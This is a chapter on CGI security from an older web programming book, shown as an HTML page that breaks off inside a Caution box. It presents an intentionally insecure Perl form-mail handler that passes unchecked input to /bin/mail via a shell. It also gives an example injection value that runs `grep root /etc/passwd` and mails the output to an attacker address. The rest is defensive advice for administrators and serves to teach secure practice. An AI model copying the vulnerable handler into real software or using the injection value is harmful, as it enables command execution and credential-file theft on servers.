📄 ch9.htm
字号:
<HTML>
<HEAD>
<TITLE>Chapter 9 -- Security </TITLE>
<META>
</HEAD>
<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#0000EE" VLINK="#551A8B" ALINK="#CE2910">
<H1><FONT COLOR=#FF0000>Chapter 9</FONT></H1>
<H1><B><FONT SIZE=5 COLOR=#FF0000>Security </FONT></B>
</H1>
<P>
<HR WIDTH="100%"></P>
<P>
<H3 ALIGN=CENTER><FONT COLOR="#000000"><FONT SIZE=+2>CONTENTS<A NAME="CONTENTS"></A>
</FONT></FONT></H3>
<UL>
<LI><A HREF="#IsCGIInsecure" >Is CGI Insecure?</A>
<UL>
<LI><A HREF="#CGIIsaPowerToolUsewithCare" >CGI Is a Power Tool-Use with Care</A>
<LI><A HREF="#GeneralInternetSecurityIssues" >General Internet Security Issues</A>
<LI><A HREF="#AlternativestoCGI" >Alternatives to CGI</A>
<LI><A HREF="#CanCgIBeUsedSecurely" >Can CGI Be Used Securely?</A>
</UL>
<LI><A HREF="#SecurityIstheResponsibilityofBothP" >Security Is the Responsibility of Both Programmer and Administrator</A>
<UL>
<LI><A HREF="#WhatCanaWebServerAdministratorDot" >What Can a Web Server Administrator Do to Improve Security?</A>
<LI><A HREF="#WhatCanaCGIProgrammerDotoImprove" >What Can a CGI Programmer Do to Improve Security?</A>
</UL>
<LI><A HREF="#Summary" >Summary</A>
</UL>
<HR>
<P>
Computers on a public network like the Internet can be vulnerable
to misuse by malicious network users, or <I>crackers.</I> CGI
is another Internet mechanism that can and must be deployed with
security issues in mind.
<H2><A NAME="IsCGIInsecure"><FONT SIZE=5 COLOR=#FF0000>Is CGI
Insecure?</FONT></A></H2>
<P>
At the time of the writing of this chapter, a significant proportion
of the announcements on the Internet security mailing lists and
bulletin boards describe CGI-related security problems. Subscribers
could easily get the impression that CGI represents a security
risk to any organization that employs it. Is this fear justified?
<H3><A NAME="CGIIsaPowerToolUsewithCare">CGI Is a Power Tool-Use
with Care</A></H3>
<P>
The Common Gateway Interface specification is not insecure <I>per
se</I>. The specification defines a way for World Wide Web servers
to interact with query engines and information gateways. It entails
the use of environment variables and standard input and output
streams, none of which are fundamentally vulnerable. It is not
the interface that is insecure.
<P>
However, CGI represents a powerful feature of many Web browsers.
This feature allows a Web server not only to provide information,
but also to provide access to the computing power of the server.
It is important to note that a Web server that supports CGI gateway
engines also gives Web browser users a degree of control over
what the Web server does.
<P>
Careful use of CGI can deliver interactive Web sites, user-friendly
information retrieval, and access to information not designed
for the World Wide Web. This is achieved by allowing the Web browser
user to control the information delivery and by implementing automatic
translation of data from one form to another.
<P>
Careless use of CGI can and will compromise the security of the
information provider. A CGI application implemented without due
regard to security issues will allow the Web browser user much
more control over the Web server than the programmer intended.
If an organization is complacent about the security of its World
Wide Web server, it should expect abuse of its computing facilities,
downtime due to malicious attacks, and loss of information integrity
of confidentiality.
<H3>CGI-Related Security Vulnerabilities-An Example</H3>
<P>
Security vulnerabilities result from programming or implementation
that does not guard against accidental or deliberate misuse. An
example of this is a typical CGI gateway for accepting data typed
into a World Wide Web form and passing it on as an e-mail message,
as shown in Listing 9.1.
<HR>
<BLOCKQUOTE>
<B>Listing 9.1. An insecure HTML form handler.<BR>
</B>
</BLOCKQUOTE>
<BLOCKQUOTE>
<TT><FONT FACE="Courier">#!/usr/local/bin/perl<BR>
# formmail.cgi<BR>
# Accepts form submission and resends as an e-mail message to
"webweaver"<BR>
<BR>
# Call library routine to translate and split form submission
<BR>
# into perl variables $input{"field"}<BR>
require "cgi.pl";<BR>
<BR>
# Launch e-mail application "/bin/mail" with Subject:
header from the "formname" Âfield<BR>
open (MAIL, "|/bin/mail -s ' ".$input{"formname"}."
' webweaver");<BR>
<BR>
# And send "formcontents" field as the body of the message
<BR>
print MAIL $input{"formcontents"};<BR>
<BR>
close(MAIL);<BR>
exit(0);</FONT></TT>
</BLOCKQUOTE>
<HR>
<P>
This CGI gateway program will do what the programmer intended
for most form submissions. It sends the form contents to the e-mail
address "webweaver" using the auxiliary program /bin/mail.
<P>
However, this apparently simple and benign gateway could be a
security loophole because it does no checking on the user supplied
form data before passing it to the mail program. Notice what happens
to the user-submitted data. A library module, cgi.pl, unpacks
the form submission, restoring any characters that have been rewritten
for safety by the Web browser or Web server, and then uses that
information in a command interpreter to launch another program,
/bin/mail. The data from the form field "formname" is
passed unchecked to a command interpreter as an argument to the
/bin/mail command. Then the data from the form field "formcomments"
is passed unchecked as input to the auxiliary mail program.
<P>
The security vulnerability arises because command interpreters
and several other applications assign special meanings to certain
characters in their input. If the Web form user maliciously or
even innocently included such special characters in either form
field, the form submission could have side effects that the programmer
did not anticipate. A malicious Web user could include operating
system commands in either form field, and by surrounding them
with appropriate special characters, have them run on the Web
server. These commands could damage data integrity or allow the
Web user unauthorized access to data on the Web server. They might
even be used to give the user full control of the Web server.
<P>
For example, the cracker might construct a form submission in
which the "<TT><FONT FACE="Courier">formname</FONT></TT>"
field is set to
<BLOCKQUOTE>
<TT><FONT FACE="Courier">'`grep root /etc/passwd` cracker@illegal.org
#'</FONT></TT>
</BLOCKQUOTE>
<P>
This CGI gateway program is a security hole waiting to be hacked,
simply because the programmer failed to check the user-supplied
data before passing it on to other programs.
<H3><A NAME="GeneralInternetSecurityIssues">General Internet Security
Issues</A></H3>
<P>
Other security vulnerabilities can arise from assuming that the
"conversation" between the Web browser and the Web server
is private. Inviting the user to enter secret passwords, credit
card numbers, and other confidential information puts the confidentiality
of that information at risk. The Internet is a public network.
World Wide Web form submissions are usually unencrypted. It is
possible that the information in the form submission could be
captured and read somewhere between the browser and server.
<P>
The mechanisms that make up the Internet are themselves less secure
than some Internet users realize. For instance, there is no easy
way to prove that an Internet electronic mail message is genuine.
Forging mail messages that appear to come from one person but
actually come from someone else is trivial, especially now that
more and more Internet users install and configure their own e-mail
applications. Internet data streams purporting to come from one
source can be spoofed or hijacked by skilled crackers. These are
not insecurities in CGI but should be taken into account in any
assessment of the security of CGI.
<H3><A NAME="AlternativestoCGI">Alternatives to CGI</A></H3>
<P>
Some Web servers use proprietary interfaces as an alternative
to CGI. While these may be claimed to be more secure than the
CGI system, they often limit what the gateway programmer can do
or allow just as much misuse.
<P>
Some Web browsers support secure network communications, interactive
and programmable features such as built-in browser control scripting
languages, or even full network application systems. These can
be used to add a level of security to CGI, or even to achieve
similar results but with browser-side processing instead of server-side
handling. However, an information provider exploiting these features
will bar access to the information for users with other browsers.
<H3><A NAME="CanCgIBeUsedSecurely">Can CGI Be Used Securely?</A>
</H3>
<P>
Despite the dangers described previously, if the Web information
service implementors design their implementation to guard against
potential misuse, a CGI gateway can be profitable and useful without
introducing security vulnerabilities.
<H2><A NAME="SecurityIstheResponsibilityofBothP"><FONT SIZE=5 COLOR=#FF0000>Security
Is the Responsibility of Both Programmer and Administrator</FONT></A>
</H2>
<P>
The implementors of a Web service are jointly responsible for
CGI security, but the defensive weapons in their armory differ
according to their role.
<H3><A NAME="WhatCanaWebServerAdministratorDot">What Can a Web
Server Administrator Do to Improve Security?</A></H3>
<P>
The system administrator of a Web server can do much to defend
against CGI misuse, as detailed in the following sections.
<H4>Work with Programmers</H4>
<P>
The administrator should discuss with programmers all CGI-based
implementations and security risks. Together they can share information
on known security problems with server software and establish
codes of practice that reduce the risk from attacks. They could
also implement a process of peer review through which programmers
review each other's code for possible security vulnerabilities.
<H4>Use Well-Respected Server Software</H4>
<P>
Security concerns should influence the choice of Web server software.
Both the HTTP server, and any other off-the-shelf server software
such as CGI libraries and gateways should be selected with care.
Read the release notes for the software and regularly check the
Web "home page" for the server software for information
about security problems and new versions. Where possible, use
the most recent stable version of the software. Don't be tempted
to implement "beta-release" software by the promise
of new features. Security vulnerabilities are often found in "beta"
software-vulnerabilities that are fixed in the production release.
Subscribe to any Web-related mailing lists and security bulletin
boards where server security problems are discussed.
<H4>Restrict Server Access to Trusted Network Hosts</H4>
<P>
If the intended audience for your Web site uses a specific set
of machines, perhaps within one organization, it may be possible
to restrict access to your Web server to allow connections from
only those machines. This can be achieved through the scoping
features of certain Web servers, using "access.conf"
or ".htaccess" files, for example. The same or better
protection can also be provided at the network level by using
TCP/IP wrapper software or router access control lists.
<H4>Restrict Access to CGI Functionality</H4>
<P>
On Web servers that do not make use of CGI gateways, the administrator
should disable the CGI functionality altogether. If CGI gateways
are needed, the administrator can often restrict the CGI functionality
to a specific part of the Web site or deny CGI functionality to
all but the trusted users. This may mean that CGI access is allowed
from browsers within your organization to the CGI development
area, but World Wide Web users on the Internet as a whole are
allowed access only to tested and trusted CGI gateways.
<H4>Examine CGI Code, Especially Freely Available CGI Packages
</H4>
<P>
Administrators should take the time to carefully read the source
code and release notes for CGI gateways before they are installed.
This advice applies not only to CGI programs developed in-house,
but also to freely available CGI code. Security vulnerabilities
are often discovered in public domain server software after it
has been released. An administrator should also follow the Internet
mailing lists and Usenet newsgroups that discuss the software
concerned for news of possible security problems.
<H4>Run CGI Programs in a Protected Environment</H4>
<P>
If the operating system or Web software on your server will allow,
ensure that CGI programs are run in a protected environment. On
multiuser operating systems, set up your server to run as a nonprivileged
user, preferably a user specifically for that purpose. Under networked
operating systems, there may already be a nonprivileged account
known as "nobody," but where possible use a different
account specifically for running CGI programs.
<P>
If possible, run the CGI program in a virtual emulated machine,
or in a subsection of the server's file system so that it cannot
see the rest of the server files.
<P>
<CENTER><TABLE BORDERCOLOR=#000000 BORDER=1 WIDTH=80%>
<TR><TD><B>Caution</B></TD></TR>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -